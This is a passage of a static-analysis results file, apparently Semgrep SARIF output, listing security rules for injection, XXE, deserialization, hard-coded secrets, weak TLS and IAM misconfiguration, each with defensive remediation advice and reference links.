Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli","id":"java.spring.security.audit.spring-sqli.spring-sqli","name":"java.spring.security.audit.spring-sqli.spring-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"help":{"markdown":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"helpUri":"https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","id":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","name":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"help":{"markdown":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)\n","text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","id":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","name":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"help":{"markdown":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","id":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","name":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","properties":{"precision":"very-high","tags":["CWE-297: Improper Validation of Certificate with Host Mismatch","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"help":{"markdown":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage)\n - [https://docs.python.org/3/library/typing.html#typing.get_type_hints](https://docs.python.org/3/library/typing.html#typing.get_type_hints)\n","text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","id":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","name":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"help":{"markdown":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","id":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","name":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","properties":{"precision":"very-high","tags":["CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","id":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","name":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"help":{"markdown":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled)\n - [https://flask.palletsprojects.com/en/2.0.x/debugging/](https://flask.palletsprojects.com/en/2.0.x/debugging/)\n - [https://flask.palletsprojects.com/en/2.0.x/config/#ENV](https://flask.palletsprojects.com/en/2.0.x/config/#ENV)\n","text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","id":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","name":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Backticks use may lead to command injection vulnerabilities."},"help":{"markdown":"Backticks use may lead to command injection vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use)\n - [https://www.php.net/manual/en/language.operators.execution.php](https://www.php.net/manual/en/language.operators.execution.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php)\n","text":"Backticks use may lead to command injection vulnerabilities."},"helpUri":"https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use","id":"php.lang.security.backticks-use.backticks-use","name":"php.lang.security.backticks-use.backticks-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.backticks-use.backticks-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve","id":"python.lang.deserialization.tainted-shelve.tainted-shelve","name":"python.lang.deserialization.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","id":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","name":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","id":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","name":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, 